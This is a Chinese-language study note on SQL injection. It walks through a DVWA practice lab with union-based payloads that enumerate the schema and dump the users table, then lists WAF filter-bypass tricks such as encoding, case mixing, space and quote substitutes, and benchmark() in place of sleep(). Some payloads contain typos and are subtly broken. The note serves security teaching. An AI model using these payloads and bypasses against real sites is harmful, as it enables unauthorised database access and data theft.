+ +

有关SQL绕过和盲注

SQL注入的扩展,绕过和盲注(包括对SQL注入的理解)

SQL

SQL:结构化查询语言(Structured Query Language),一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统,同时也是数据库脚本文件的扩展名。

SQL注入

网站对用户交互显示的内容存储在数据库中,网站的每个功能均会获取用户主动或被动输入的关键数据,而网站后端已封装好一个完整的SQL语句,将用户输入的关键数据放入SQL语句的固定查询点内,


SQL查询以后,就会返回一个用户想要的内容,并利用用户的浏览器前端显示。而若用户输入的为SQL语言片段,片段放入固定查询点会破坏固定的SQL语句原有查询方法。若该片段是恶意的,可以达到使原有功能失效,而实际执行内容被控制的结果,恶意内容不断变化形式,可以从数据库中返回不应该被查到的数据。简单来说,就是输入一些SQL语句片段,从而达到自己想要的效果(获得不应该获得的数据或改变原有功能)。其本质是将用户的输入的数据,作为了命令来执行。

复习前天的一道题目

首先进入10.21.13.97,进入DVWA,将DVWA security选到low级别,然后选择sql injection进入做题。

根据步骤,第一步要判断其是否存在注入且其的SQL注入类型,输入1,出现id=1的信息,输入1’and ‘1’=’2,没有输出结果,输入1’ or ‘1’=’1,有以下结果



此时可判断这里是字符型SQL注入(判断是否存在注入以及注入的类型根据输入不同的SQL语句片段得到不同的结果)

第二步,猜字段(根据order by的性质)
输入1’ or 1=1 order by 2 %23,返回正确结果


而输入1’ or 1=1 order by 2 %23,返回错误,所以其字段为2

第三步,确定显示字段顺序,输入1’ union select 1,2 %23



第四步,通过字段查询数据库,输入1’ union select 1,database() %23



第五步,查数据库中的表,输入1’ union select 1,group_concat(table_name) from information_schema.columns where table_schema=database() %23,



第六步,查表中的字段,输入1’ union select 1,group_concat(column_name) from information_schema.cloumns where table_name=’users’ %23



第七步,下载数据,输入1’ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat() from users %23

SQL绕过

基本知识

SQL注入的过程中有些特定的字符或者字符串会被过滤,数据库无法了解正确的查询语句,就没有办法进行SQL注入了

绕过技术:

1、运用编码技术绕过
运用ASCII码或者URL编码绕过

2、采用重复的技术绕过
字符重复绕过

3、采用大小写交替混用绕过
字符大小交替使用

4、绕过空格
可用两个空格表示、用注释符号代替、用括号代替、用‘+’代替、用%a0代替、用花括号代替、用单引号双引号代替

5、过滤information_schema.tables等关键表名
在schema与tables之间加空格

6、过滤等号
用like代替等号

7、过滤引号
十六进制代替引号

8、过滤‘>’,‘<’
greatest()代替大于号,least()代替小于号

9、过滤逗号
盲注的时候用到的substr()函数等需要用到逗号,这时用select substr(database() from 1 for 1) 代替select substr(database(),1,1);即可

10、过滤sleep
时间型盲注会用到sleep函数,若该函数被过滤,采用benchmark(10000000,sha(1)) 10000000次sha(1),来时间延迟,如果sleep中不能使用数字,用pi()函数绕过:sleep(ceil(pi()))(pi()为圆周率计算,ceil为向上取整函数)

11.过滤注释符号(#,–+)
id=1’ union select 1,2,3||’1(最后的||’1=or ‘1闭合查询语句的最后的单引号)

12.过滤单引号
13.采用大小写交替混用的绕过

14.利用等价函数

15.Mysql条件注释的利用 /*! … */

例题打不开呀